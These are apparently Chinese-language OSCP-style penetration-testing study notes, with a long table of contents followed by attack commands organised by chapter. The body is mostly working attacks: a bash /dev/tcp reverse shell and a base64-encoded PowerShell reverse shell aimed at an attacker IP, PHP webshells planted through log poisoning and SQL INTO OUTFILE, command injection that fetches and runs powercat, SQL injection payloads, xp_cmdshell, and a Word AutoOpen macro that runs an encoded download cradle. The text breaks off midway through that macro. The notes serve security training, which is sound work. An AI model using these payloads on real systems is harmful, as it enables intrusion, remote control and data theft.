Fl*sy 查域名（-h后面是whois服务器） 查IP 查域名 查看制定文件类型 排除文件类型 查找目录遍历 更多参考 地址 网站 搜索制定文件 使用工具 命令 搜索host 增加端口信息 网站 DNS记录类型 查域名ip 查邮件服务器等其他记录类型 批量枚举域名对应ip 批量枚举ip对应域名 使用工具自动枚举 A记录枚举 指定DNS服务器枚举 TCP UDP 普通扫描 全端口扫描 SYN扫描 TCP连接扫描 UDP扫描 UDP+SYN扫描 存活主机枚举 指定端口及服务枚举 Top 20端口扫描 操作系统指纹 服务枚举 nmap脚本扫描 powershell端口扫描 nmap端口扫描（139、445） udp 137端口枚举（-r参数） nmap脚本相关 查看SMB共享 枚举主机用户 自动脚本 使用 powershell枚举 windows snmp nmap扫描udp的161端口 自动化工具 枚举windows用户 枚举windows进程 枚举安装软件 枚举开放端口 查看nmap漏扫插件 使用脚本 google搜索 新增脚本 使用新脚本 nmap扫描web服务 http枚举 网站 图形界面操作 url编码 User Agent加入webshell 文件会写入 反弹shell URL编码 文件读取 base64解码 命令执行 base64编码 文件后缀 修改后缀上传 windows下base64编码后命令执行 编码后使用webshell执行 post上传，文件名目录穿越 生成ssh秘钥 文件名改为 上传后，ssh连接 注意：fileup文件权限，600或者400 参数注入命令 提示不可执行，尝试正常命令git 执行成功，使用%3B拼接命令 判断当前shell是cmd还是powershell url编码后 输出是PowerShell 执行成功，使用powercat获得反弹shell powershell执行 url编码 mysql登录数据库 查看数据库版本 查看系统用户 查看数据库名 查看具体表中数据 mssql登录 查看版本 查看数据库名 查看表名 查看具体表内容 例子 用户名输入 执行的sql语句是 可以绕过密码登录成功 一般先用单引号测试 有报错信息可以尝试注入，获得数据库版本 查询表中数据 如果报错尝试查单列 查执行用户 例如 输入 提示报错或者出现列数，比如6 联合查询会执行后面的查询依据，但是数据类型需要与原来字段一致，否则现实不出来，如果不一致可以改变位置 查表明、字段名、查数据均可 不报错也没有回显，可以基于时间盲注 返回真，再用sleep函数做判断 mssql执行命令 联合查询webshell写入 php webshell sqlmap（-p 参数） 判断注入 读取数据 抓包注入 gobuster使用-x参数指定文件后缀，下载文件，查看文件信息 注意作者、程序版本等 网站 文件后缀 使用宏执行powershell 加入到宏当中时需要50字符一行 完整宏 涉及文件 安装webdav 启动webdav 创建config.Library-ms文件 url填写webdav地址 创建automatic_configuration.lnk文件 两个文件都放在webdav里面，然后把config.Library-ms发给用户，可以邮件可以smb 网站 升级库 查看exp库文件 搜索制定漏洞exp 拷贝到当前目录 发现web应用程序 exploit-db上搜索“qdPM 9.1” 跨平台编译 报错，需要加入库文件 需要注意的exp常见修改位置 msf生成shellcode 修改后重新编译 wine执行 常见修改位置 取消ssl校验 查看二进制特征码 查看文件hash 更改文件二进制后hash会变化 msf生成payload 原始生成基本不免杀 msf生成powershell类型shellcode 组装ps1文件 有一定免杀效果，但还不够好，进一步更改变量名 保存成bypass.ps1，可以过掉一部分EDR 在windows上运行还需要关闭执行策略的防护 查看执行策略 修改 再次查看 执行bypass.ps1获得shell 安装 运行 msf本地监听，运行生成的PE文件获得shell ssh密码爆破 rdp密码喷洒 去少量字典演示 去掉1开头的行 创建规则文件（末尾加1） hashcat查看规则后的字典 比较两个不同规则文件 演示破解hash 破解 查看默认规则 keepass的存储文件是.kdbx后缀 提取hash 删除hash中开头的 删除后是这样的 查看hashcat的破解策略 破解 也可以用john直接破解不用修改hash文件 创建规则 创建字典 破解 或者将规则计入到john配置里进行破解 得到密码，进行ssh登录 查看本地用户 管理员身份运行cmd或者powershell（mimikatz需要管理员权限） 获得SAM里面的hash 破解 mimikatz获取hash 获得administrator的hash，使用smbclient进行hash传递 可以获得smb共享以及文件 或者使用psexec传递，获得shell 也可以使用wmiexec传递获得shell 获取hash，本地（192.168.119.2）开启监听 目标机器上执行命令 获得hsah 保存hash，查看破解策略 破解 破解不出密码时，可以转发 报错的话需要用python3调用py脚本 powershell命令需要base64编码 查看当前用户和组 查看系统信息 查看网络和路由信息 查看软件安装信息（32位和64位） 查看当前进程 查找密码文件，关注常见的密码文件 获得密码后可以运行用户下的cmd 查看历史 历史文件位置 查看历史文件 历史文件中找到敏感文件 敏感文件里有密码和session连接信息，使用信息进行session连接 PSSession下执行命令可能没有回显，使用winrm，主要密码中特殊字符需要转译 winpeas 查看服务 查看服务的二进制文件访问权限 关注F和W权限的 创建添加用户程序 编译 下载替换文件 重启服务 如果没有权限，可以看看服务是不是开机自启，如果是就看看是不是可以重启机器 也可以使用自动化工具PowerUp.ps1 报错，有时不能盲目相信自动化工具，需要手动利用。 枚举服务 查看二进制文件权限 可读可执行，不能替换，使用Procmon64.exe查看进程调用dll情况 点击Filter添加过滤规则 然后重启服务 看到多次调用myDLL.dll 查看环境变量 在第一个调用路径上放置dll文件 编译 放置在一个调用路径，需要是一个可写目录，如： 重启服务，dll被加载，代码被运行 添加管理员成功 路径中存在空格时且路径没有被引号包裹，文件执行顺序如下： 枚举服务和路径信息（powershell） 枚举没有引号路径的服务（cmd） 发现服务 测试起是否可以被启动和停止 文件执行顺序 检查路径是否可写 需要有F或者W权限，如 自动化工具PowerUp 查看 关注任务名、下一次执行时间、作者、文件路径等信息 查看是否可以替换 替换 等执行时间过后，查看 查看权限 有SeImpersonatePrivilege可以用PrintSpoofer或者土豆系列 文件权限 当前用户id 所有用户 主机名 操作系统信息 进程信息 关注root权限的 网络信息 防火墙规则 计划任务 关注是否有root权限的文件可以替换 查看当前用户计划任务 查看已安装程序 搜索可写目录 查看已安装文件系统和驱动器 查看可用磁盘 可能有未挂载的磁盘里面有敏感信息 查看内核模块 查看模块信息 查找SUID二进制文件 如/etc/passwd文件可写提权 https://www.hackingarticles.in/editing-etc-passwd-file-for-privilege-escalation 其他辅助脚本 环境变量（比如密码等信息） bash配置文件（比如密码等信息） 找到密码后切换用户 根据密码做字典 破解指定用户密码 登录后查看sudo 直接sudo提权 监测进程中的敏感信息 监测网络通信中的敏感信息 查看cron日志 关注root定时运行的文件，找到后查看内容和权限 可写，插入一句话后门 /etc/passwd可写 查看文件的SUID标志位 find getcap perl 更多suid提权利用查看 https://gtfobins.github.io/ 查看当前用户可以使用的特权命令 查看https://gtfobins.github.io/，发现 没有成功，提示 查看日志 发现是AppArmor限制了，root权限后查看apparmor状态信息 换一个apt-get 提权成功 查看架构及内核版本信息 搜索漏洞 跳板机上 kali上连接跳板机的2345端口就会转发到内网10.4.50.215:5432端口 登录postgres数据库，查看数据库信息，查看表信息，查看内容 获得密码进行暴力破解 破解出密码后，在跳板机上做端口转发 kali上ssh连上去 kali（192）---跳板1（192和10）---跳板2（10和172）--目标（172） ssh需要交互式shell操作，需要在跳板1上转换交互式shell 在跳板2上发现172段，查看路由，并扫描172段存活主机445端口 发现一台 现在想要在kali上连接172段的445端口 在跳板1上做本地端口转发到跳板2的172段 kali上连接 成功下载172主机上的ps1文件 kali（192）---跳板1（192和10）---跳板2（10和172）--目标（172） 跳板1上开启9999端口做socks代理 kali上设置proxychains4 kali（192）---跳板1（192和10）---跳板2（10和172） kali上开启ssh服务 跳板1上ssh连接kali 连接成功后kali上会开启2345端口，kali上连接自己的2345就是跳板2的5432端口 kali（192）---跳板1（192和10）---跳板2（10和172） 跳板1上ssh连接kali 连接成功后kali上开启了9998的socks代理 kali（192）---跳板1（192和10）---跳板2（10和172）--目标（172） 跳板1上做端口转发 kali上通过跳板1的转发ssh到跳板2上，并添加10和172网段 连接成功后kali可以直接访问10和172段 kali（192）---win跳板1（192和10）---目标（10） kali上开启ssh服务 rdp到跳板1上，找到ssh.exe，连接kali kali上开启了9998的socks代理，配置proxychains后可以连10段主机 kali（192）---防火墙（屏蔽连接跳板1的3389端口）---win跳板1（192） 开上开启80端口web服务供下载文件 跳板1上使用webshell下载nc，反弹shell到kali上 下载plink后，做ssh到kali，开启kali的9833端口，连接到跳板1的3389端口 kali上查看开启端口，并rdp本机9833就是跳板1的3389端口 kali（192）---win跳板1（192和10）---目标（10） 跳板1上做转发 映射跳板2222端口到目标的22端口，查看跳板2222是否开放及代理列表 kali扫描跳板的2222端口 不成功，因为Windows防火墙会阻止kali连接2222端口，防火墙增加一条规则，允许入向连接2222端口 kali连接目标成功 删除防火墙及代理策略 kali（192）---linux跳板1（192和10）---目标（10） kali开启web服务提供下载chisel使用，并开启chisel反向代理 在linux跳板1上下载并执行 linux跳板1上是使用web漏洞进行命令执行的，需要url编码 kali上查看，默认是1080端口开socks服务，安装ncat，ssh到10段通过本地的1080端口socks转发 kali（192）---……---跳板（任意和172）--目标（172） 前提是跳板发出的dns请求不管转发多少次，最终由kali上的服务端解析 在kali上启动dnscat2的服务端 启动后会开启53端口监听 跳板上启动dnscat2客户端 运行成功后会在服务端看到客户端连接成功，查看并配置客户端转发策略，就可以本地连接目标172主机 数据库初始化 如果想开机启动数据库可以 启动MSF并查看数据库状态 帮助命令 查看并新建工作区 nmap扫描并将结果存进数据库 在数据库里查看主机、服务、指定端口服务 命令帮助信息查询 查看 搜索并使用，查看工具模块说明、参数等 设置参数，取消设置，从数据库中筛选设置，运行，查看结果 ssh登录尝试工具搜索并使用，查看正确的账号密码 创建工作区，搜索漏洞利用工具，查看并设置参数，设置payload及参数，运行 成功后获得shell，使用Ctrl+z然后y将session置于后台，列举所有sessions，进入某个session，取消某个session 后台监听和持续监听 查看载荷 一般看有_的是非分段，有/是分段载荷，例如 查看，使用，查看参数，在漏洞利用中使用 获得权限，查看帮助 查看系统信息 获得shell，置于后台，查看所有shell信息，进入后台指定shell 查看本地路径，切换本地路径，下载文件，读取本地文件，上传文件，查看目标机器文件，退出 查看、生成（非分段）、下载、执行、获得shell 分段载荷需要在MSF的multi/handler下使用，否则nc监听拿到shell无法执行命令 生成，启动msf，使用multi/handler 后台运行，查看job 生成payload，上传，运行，获得shell 后渗透功能：查看空闲时间、提权、进程迁移、隐藏窗口运行 bypass UAC mimikatz获取hash 自动设置路由 设置代理 配置，使用 端口转发 创建脚本文件listener.rc 加载脚本文件 运行payload 获得shell并自动迁移到notepad进程，并后台运行 其他系统自带脚本 枚举域用户，查询制定域用户，查询域组，查询组成员 枚举当前域信息 编写脚本，并加载运行 enumeration.ps1 查询DC域控 用adsi检索DN LDAP枚举 使用DirectoryEntry和DirectorySearcher进行搜索 会得到很多信息，进一步检索主机用户信息 枚举每个属性 查看某个用户（jeffadmin）所属的组 做成函数方便自定义参数进行搜索 使用的时候，先导入 搜索用户、组 搜索组中的对象 搜索某个组里的成员 如有组嵌套可以继续使用上面方法搜索成员 导入 枚举域信息、域用户、域用户名、筛选域用户信息、组名、组下成员 继续PowerView枚举，枚举域主机、筛选主机名和操作系统 查看当前用户能访问域内哪些主机 使用当前用户访问域内主机获取信息 如果可以访问 针对Windows11操作系统可能无法远程获取到上面信息，因为权限不够，可以查看低版本的操作系统 然后可以尝试使用其他工具进行连接枚举已登录用户，比如PsLoggedOn 列出某个账号的SPN，是向dc进行查询 也可以用PowerView枚举 针对结果中web服务查，看域名对用的ip 枚举当前用户权限，使用PowerView 在结果中针对SID标识转换成对象进行查看 可以获得SecurityIdentifier对ObjectSID的权限ActiveDirectoryRights是ReadProperty 查看所有对“Management Department”组有GenericAll的权限 查看结果中所有sid信息 发现当前用户有权限，然后将自己加入到Management Department组 可以成功，再删除 PowerView 访问域共享，powershell下 获得hash，在kali下可以破解 查看其他共享获得敏感文件 邮件中有密码明文 导入、帮助 获取域信息 生成zip包文件，下载进行分析 kali下开启数据库 登录后提示改密码 启动bloodhound 登录neo4j数据库后，在gui界面导入zip包，在界面“Database Info”可以查看域相关所有信息，在“Analysis”可以看到预设的分析策略，比如 将获得到权限的用户和主机右键标记为“Mark User as Owned”，然后重新规划获得域控的最短路径 认证时使用ip地址，一共7个步骤 client --- server --- DC 变换了认证模式 client --- DC（KDC） client --- server 过程是client向DC请求票据，然后使用票据访问server。 hash一般存储在LSASS中，使用mimikatz来dump hash 滥用TGT和服务票证进行身份验证，获取自己和其他用户的票据 可以看到TGT和TGS 密码暴力破解会导致密码锁死，所以要先查看密码策略 如果有密码锁定次数，如5次/30分钟，就只能测试4次/30分钟，不然就会被锁定 1）一般用密码喷洒（使用LDAP和ADSI） 如果正确 错误会显示“The user name or password is incorrect.” 也可以使用现成脚本https://web.archive.org/web/20220225190046/https://github.com/ZilentJack/Spray-Passwords/blob/master/Spray-Passwords.ps1 2）利用SMB密码喷洒 3）基于TGT密码喷洒 在kali下使用一个域账号及密码向DC请求AS-REQ，验证成功会返回AS-REPKey和TGT，就可以破解密码了。 破解 Windows下可以使用Rubeus.exe，使用当前用户权限 /nowrap去掉空格，复制下来破解 枚举可以使用PowerView命令，或者kali上使用impacket-GetNPUsers 在Windows上使用Rubeus，使用当前用户获取SPN然后请求DC获得TGS-REP 破解 kali上使用impacket-GetUserSPNs，需要一个域账号和密码 一般获得的是SPN服务账号的hash，破解 在指导SPN服务账号和hash的情况下，使用域SID和SPN，修改不具备权限的用户票据。 mimikatz进行获取域SID和SPN账号hash 这个SID也可以查看当前用户获得 域SID是去掉最后一段 用mimiaktz伪造票据 查看票据，再访问，就可以成功访问了 需要域管理员或者企业管理员具有同步权限的用户权限 Windows下使用mimikatz获得制定用户的hash 破解 kali上使用impacket-secretsdump WMI：Windows管理接口（使用135端口和19152-65535之前的高端口），创建计算器进程 使用powershell 要获得反弹shell，可以使用powershell反弹，先做编码 注意编码utf16 WinRM：远程主机管理（使用5986https和5985http） powershell 条件 条件 获得一台机器的用户（本地管理员system权限）后，有与管理员登录的话，使用mimikatz获得其他用户hash（域管理员），就可以使用hash跨越 创建域管权限的进程 查看票据 场景：当前用户没有权限访问某共享文件夹，使用mimikatz获得另一个具有权限的票据TGS，然后导入就可以访问了 使用135端口 powershell 远程运行计算器，换成反弹shell 使用krbtgt的hash伪造票据 在任意机器上先删除错误票据，为指定用户创建黄金票据，开启指定用户的cmd 然后访问DC1，需要使用主机名，使用IP会无法访问 使用域管备份 拷贝文件到指定目录 注册表获取system 获得上面两个文件后可以获得所有用户hash6.2 被动信息收集
6.2.1 whois枚举
whois megacorpone.com -h 192.168.50.251
whois 38.100.193.70 -h 192.168.50.251
6.2.2 谷歌黑客
site:megacorpone.com
site:megacorpone.com filetype:txt
site:megacorpone.com -filetype:html
intitle:"index of" "parent directory"
https://www.exploit-db.com/google-hacking-database
https://dorksearch.com/
Netcraft
searchdns.netcraft.com
开源代码
https://github.com/
https://gist.github.com/
https://about.gitlab.com/
https://sourceforge.net/
owner:megacorpone path:users
https://github.com/michenriksen/gitrob
https://github.com/zricethezav/gitleaks
gitleaks-linux-arm64 -v -r=https://github.com/xxx/xxx
Shodan
hostname:megacorpone.com
hostname:megacorpone.com port:"22"
Security Headers and SSL/TLS
https://securityheaders.com/
https://www.ssllabs.com/ssltest/
6.3 主动信息收集
6.3.1 DNS枚举
NS: Nameserver records contain the name of the authoritative servers hosting the DNS records for a domain.
A: Also known as a host record, the "a record" contains the IPv4 address of a hostname (such as www.megacorpone.com).
AAAA: Also known as a quad A host record, the "aaaa record" contains the IPv6 address of a hostname (such as www.megacorpone.com).
MX: Mail Exchange records contain the names of the servers responsible for handling email for the domain. A domain can contain multiple MX records.
PTR: Pointer Records are used in reverse lookup zones and can find the records associated with an IP address.
CNAME: Canonical Name Records are used to create aliases for other host records.
TXT: Text records can contain any arbitrary data and be used for various purposes, such as domain ownership verification.
host www.megacorpone.com
host -t mx megacorpone.com
host -t txt megacorpone.com
for ip in $(cat list.txt); do host $ip.megacorpone.com; done
for ip in $(seq 200 254); do host 51.222.169.$ip; done | grep -v "not found"
dnsrecon -d megacorpone.com -t std
dnsrecon -d megacorpone.com -D ~/list.txt -t brt
dnsenum megacorpone.com
nslookup mail.megacorptwo.com
nslookup -type=TXT info.megacorptwo.com 192.168.50.151
端口扫描
-w 超时时间
-z zero-I/O mode（无数据）
nc -nvv -w 1 -z 192.168.50.152 3388-3390
nc -nv -u -z -w 1 192.168.50.149 120-123
NMAP端口扫描
nmap 192.168.50.149
nmap -p 1-65535 192.168.50.149
sudo nmap -sS 192.168.50.149
nmap -sT 192.168.50.149
sudo nmap -sU 192.168.50.149
sudo nmap -sU -sS 192.168.50.149
nmap -sn 192.168.50.1-253
nmap -v -sn 192.168.50.1-253 -oG ping-sweep.txt
grep Up ping-sweep.txt | cut -d " " -f 2
nmap -p 80 192.168.50.1-253 -oG web-sweep.txt
grep open web-sweep.txt | cut -d" " -f2
nmap -sT -A --top-ports=20 192.168.50.1-253 -oG top-port-sweep.txt
sudo nmap -O 192.168.50.14 --osscan-guess
nmap -sT -A 192.168.50.14
nmap --script http-headers 192.168.50.6
Test-NetConnection -Port 445 192.168.50.151
1..1024 | % {echo ((New-Object Net.Sockets.TcpClient).Connect("192.168.50.151", $_)) "TCP port $_ is open"} 2>$null
SMB枚举
nmap -v -p 139,445 -oG smb.txt 192.168.50.1-254
sudo nbtscan -r 192.168.50.0/24
ls -1 /usr/share/nmap/scripts/smb*
nmap -v -p 139,445 --script smb-os-discovery 192.168.50.152
net view \\dc01 /all
SMTP枚举
nc -nv 192.168.50.8 25
VRFY root
VRFY idontexist
#!/usr/bin/python
import socket
import sys
if len(sys.argv) != 3:
print("Usage: vrfy.py <username> <target_ip>")
sys.exit(0)
# Create a Socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to the Server
ip = sys.argv[2]
connect = s.connect((ip,25))
# Receive the banner
banner = s.recv(1024)
print(banner)
# VRFY a user
user = (sys.argv[1]).encode()
s.send(b'VRFY ' + user + b'\r\n')
result = s.recv(1024)
print(result)
# Close the socket
s.close()
python3 smtp.py root 192.168.50.8
Test-NetConnection -Port 25 192.168.50.8
telnet 192.168.50.8 25
VRFY root
SNMP枚举
1.3.6.1.2.1.25.1.6.0 System Processes
1.3.6.1.2.1.25.4.2.1.2 Running Programs
1.3.6.1.2.1.25.4.2.1.4 Processes Path
1.3.6.1.2.1.25.2.3.1.4 Storage Units
1.3.6.1.2.1.25.6.3.1.2 Software Name
1.3.6.1.4.1.77.1.2.25 User Accounts
1.3.6.1.2.1.6.13.1.3 TCP Local Ports
sudo nmap -sU --open -p 161 192.168.50.1-254 -oG open-snmp.txt
echo public > community
echo private >> community
echo manager >> community
for ip in $(seq 1 254); do echo 192.168.50.$ip; done > ips
onesixtyone -c community -i ips
snmpwalk -c public -v1 -t 10 192.168.50.151
snmpwalk -c public -v1 192.168.50.151 1.3.6.1.4.1.77.1.2.25
snmpwalk -c public -v1 192.168.50.151 1.3.6.1.2.1.25.4.2.1.2
snmpwalk -c public -v1 192.168.50.151 1.3.6.1.2.1.25.6.3.1.2
snmpwalk -c public -v1 192.168.50.151 1.3.6.1.2.1.6.13.1.3
7.3 Nmap漏洞扫描
7.3.1 NSE插件
cd /usr/share/nmap/scripts/
cat script.db | grep "\"vuln\""
sudo nmap -sV -p 443 --script "vuln" 192.168.50.124
7.3.2 NSE插件编写
CVE-2021-41773 nse
sudo cp /home/kali/Downloads/http-vuln-cve-2021-41773.nse /usr/share/nmap/scripts/http-vuln-cve2021-41773.nse
sudo nmap --script-updatedb
sudo nmap -sV -p 443 --script "http-vuln-cve2021-41773" 192.168.50.124
8.2 Web分析工具
8.2.1 web服务指纹
sudo nmap -p80 -sV 192.168.50.20
sudo nmap -p80 --script=http-enum 192.168.50.20
8.2.2 Wappalyzer
https://www.wappalyzer.com/
8.2.3 目录枚举
gobuster dir -u 192.168.50.20 -w /usr/share/wordlists/dirb/common.txt -t 5
8.2.4 Burp
8.3 Web应用枚举
8.3.2 http头和sitemaps枚举
curl https://www.google.com/robots.txt
8.3.3 API枚举
gobuster dir -u http://192.168.50.16:5002 -w /usr/share/wordlists/dirb/big.txt -p pattern
curl -i http://192.168.50.16:5002/users/v1
gobuster dir -u http://192.168.50.16:5002/users/v1/admin/ -w /usr/share/wordlists/dirb/small.txt
curl -i http://192.168.50.16:5002/users/v1/admin/password
可能返回错误，一般需要post或者put，前提是要先登录成功
curl -i http://192.168.50.16:5002/users/v1/login
提示用户错误，尝试admin用户
curl -d '{"password":"fake","username":"admin"}' -H 'Content-Type: application/json' http://192.168.50.16:5002/users/v1/login
提示密码不对，注册新用户
curl -d '{"password":"lab","username":"offsecadmin"}' -H 'Content-Type: application/json' http://192.168.50.16:5002/users/v1/register
提示需要email，增加email参数再注册
curl -d '{"password":"lab","username":"offsec","email":"pwn@offsec.com","admin":"True"}' -H 'Content-Type: application/json' http://192.168.50.16:5002/users/v1/register
注册成功，登录
curl -d '{"password":"lab","username":"offsec"}' -H 'Content-Type: application/json' http://192.168.50.16:5002/users/v1/login
登录成功，获得token后，尝试修改admin密码
curl \
'http://192.168.50.16:5002/users/v1/admin/password' \
-H 'Content-Type: application/json' \
-H 'Authorization: OAuth eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzEyMDEsImlhdCI6MTY0OTI3MDkwMSwic3ViIjoib2Zmc2VjIn0.MYbSaiBkYpUGOTH-tw6ltzW0jNABCDACR3_FdYLRkew' \
-d '{"password": "pwned"}'
方法不允许，尝试put
curl -X 'PUT' \
'http://192.168.50.16:5002/users/v1/admin/password' \
-H 'Content-Type: application/json' \
-H 'Authorization: OAuth eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2NDkyNzE3OTQsImlhdCI6MTY0OTI3MTQ5NCwic3ViIjoib2Zmc2VjIn0.OeZH1rEcrZ5F0QqLb8IHbJI7f9KaRAkrywoaRUAsgA4' \
-d '{"password": "pwned"}'
修改成功，登录admin
curl -d '{"password":"pwned","username":"admin"}' -H 'Content-Type: application/json' http://192.168.50.16:5002/users/v1/login
9.1 目录穿越
9.1.2 目录穿越利用
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../etc/passwd
http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa
curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../home/offsec/.ssh/id_rsa
ssh -i dt_key -p 2222 offsec@mountaindesserts.com
提示权限不对
chmod 400 dt_key
ssh -i dt_key -p 2222 offsec@mountaindesserts.com
9.1.3 编码
curl http://192.168.50.16/cgi-bin/../../../../etc/passwd
不成功，可以尝试url编码
curl http://192.168.50.16/cgi-bin/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd
9.2 文件包含
9.2.1 本地文件包含
curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log
<?php echo system($_GET['cmd']); ?>
../../../../../../../../../var/log/apache2/access.log
curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=ls%20-la
bash -c "bash -i >& /dev/tcp/192.168.119.3/4444 0>&1"
bash%20-c%20%22bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.119.3%2F4444%200%3E%261%22
9.2.2 PHP包装器
curl http://mountaindesserts.com/meteor/index.php?page=php://filter/convert.base64-encode/resource=admin.php
echo "PCFET0NUWVBFIGh……" | base64 -d
curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain,<?php%20echo%20system('ls');?>"
echo -n '<?php echo system($_GET["cmd"]);?>' | base64
curl "http://mountaindesserts.com/meteor/index.php?page=data://text/plain;base64,PD9waHAgZWNobyBzeXN0ZW0oJF9HRVRbImNtZCJdKTs/Pg==&cmd=ls"
9.2.3 远程文件包含
/usr/share/webshells/php/simple-backdoor.php
python3 -m http.server 80
curl "http://mountaindesserts.com/meteor/index.php?page=http://192.168.119.3/simple-backdoor.php&cmd=ls"
9.3 文件上传
9.3.1 可执行文件
.phps
.php7
.php
.phtml
.pHP
/usr/share/webshells/php/simple-backdoor.pHP
pwsh
$Text = '$client = New-Object System.Net.Sockets.TCPClient("192.168.119.3",4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()'
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText
curl http://192.168.50.189/meteor/uploads/simple-backdoor.pHP?cmd=powershell%20-enc%20JABjAGwAaQBlAG4AdAAgAD0AIABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFMAbwBjAGsAZQB0
...
AYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkA
9.3.2 不可执行文件
../../../../../../../test.txt
ssh-keygen
fileup
cat fileup.pub > authorized_keys
../../../../../../../root/.ssh/authorized_keys
rm ~/.ssh/known_hosts
ssh -p 2222 -i fileup root@mountaindesserts.com
9.4 命令执行
9.4.1 命令注入
curl -X POST --data 'Archive=ipconfig' http://192.168.50.189:8000/archive
curl -X POST --data 'Archive=git' http://192.168.50.189:8000/archive
curl -X POST --data 'Archive=git version' http://192.168.50.189:8000/archive
curl -X POST --data 'Archive=git%3Bipconfig' http://192.168.50.189:8000/archive
(dir 2>&1 *`|echo CMD);&<# rem #>echo PowerShell
curl -X POST --data 'Archive=git%3B(dir%202%3E%261%20*%60%7Cecho%20CMD)%3B%26%3C%23%20rem%20%23%3Eecho%20PowerShell' http://192.168.50.189:8000/archive
cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
python3 -m http.server 80
nc -nvlp 4444
IEX (New-Object System.Net.Webclient).DownloadString("http://192.168.119.3/powercat.ps1");powercat -c 192.168.119.3 -p 4444 -e powershell
curl -X POST --data 'Archive=git%3BIEX%20(New-Object%20System.Net.Webclient).DownloadString(%22http%3A%2F%2F192.168.119.3%2Fpowercat.ps1%22)%3Bpowercat%20-c%20192.168.119.3%20-p%204444%20-e%20powershell' http://192.168.50.189:8000/archive
10.1 SQl及数据库基础
10.1.2 数据库基础
mysql -u root -p'root' -h 192.168.50.16 -P 3306
select version();
select system_user();
show databases;
SELECT user, authentication_string FROM mysql.user WHERE user = 'offsec';
impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth
SELECT @@version;
SELECT name FROM sys.databases;
SELECT * FROM offsec.information_schema.tables;
select * from offsec.dbo.users;
10.2 SQl注入
10.2.1 基于报错的sql注入
<?php
$uname = $_POST['uname'];
$passwd =$_POST['password'];
$sql_query = "SELECT * FROM users WHERE user_name= '$uname' AND password='$passwd'";
$result = mysqli_query($con, $sql_query);
?>
offsec' OR 1=1 -- //
SELECT * FROM users WHERE user_name= 'offsec' OR 1=1 --
offsec'
' or 1=1 in (select @@version) -- //
' OR 1=1 in (SELECT * FROM users) -- //
' or 1=1 in (SELECT password FROM users) -- //
' or 1=1 in (SELECT password FROM users WHERE username = 'admin') -- //
10.2.2 基于联合查询的SQL注入
$query = "SELECT * from customers WHERE name LIKE '".$_POST["search_input"]."%'";
' ORDER BY 1-- //
%' UNION SELECT database(), user(), @@version, null, null -- //
' UNION SELECT null, null, database(), user(), @@version -- //
' union select null, table_name, column_name, table_schema, null from information_schema.columns where table_schema=database() -- //
' UNION SELECT null, username, password, description, null FROM users -- //
10.2.3 盲注
http://192.168.50.16/blindsqli.php?user=offsec' AND 1=1 -- //
http://192.168.50.16/blindsqli.php?user=offsec' AND IF (1=1, sleep(3),'false') -- //
10.3 自动执行代码
10.3.1 代码执行
impacket-mssqlclient Administrator:Lab123@192.168.50.18 -windows-auth
EXECUTE sp_configure 'show advanced options', 1;
RECONFIGURE;
EXECUTE sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXECUTE xp_cmdshell 'whoami';
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/tmp/webshell.php" -- //
<? system($_REQUEST['cmd']); ?>
10.3.2 自动化
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user
sqlmap -u http://192.168.50.19/blindsqli.php?user=1 -p user --dump
sqlmap -r post.txt -p item --os-shell --web-root "/var/www/html/tmp"
11.1 客户端攻击目标枚举
11.1.1 信息收集
site:example.com filetype:pdf
exiftool -a -u brochure.pdf
11.1.2 客户端指纹
https://canarytokens.com/
11.2 office攻击
11.2.3 word宏横向
.doc
.docm
IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1');powercat -c 192.168.119.2 -p 4444 -e powershell
$Text = "IEX(New-Object System.Net.WebClient).DownloadString('http://192.168.119.2/powercat.ps1');powercat -c 192.168.119.2 -p 4444 -e powershell"
$Bytes = [System.Text.Encoding]::Unicode.GetBytes($Text)
$EncodedText =[Convert]::ToBase64String($Bytes)
$EncodedText
str = "powershell.exe -nop -w hidden -e SQBFAFgAKABOAGUAdwA..."
n = 50
for i in range(0, len(str), n):
print("Str = Str + " + '"' + str[i:i+n] + '"')
Sub AutoOpen()
MyMacro
End Sub
Sub Document_Open()
MyMacro
End Sub
Sub MyMacro()
Dim Str As String
Str = Str + "powershell.exe -nop -w hidden -enc SQBFAFgAKABOAGU"
Str = Str + "AdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAd"
Str = Str + "AAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwB"
...
Str = Str + "QBjACAAMQA5ADIALgAxADYAOAAuADEAMQA4AC4AMgAgAC0AcAA"
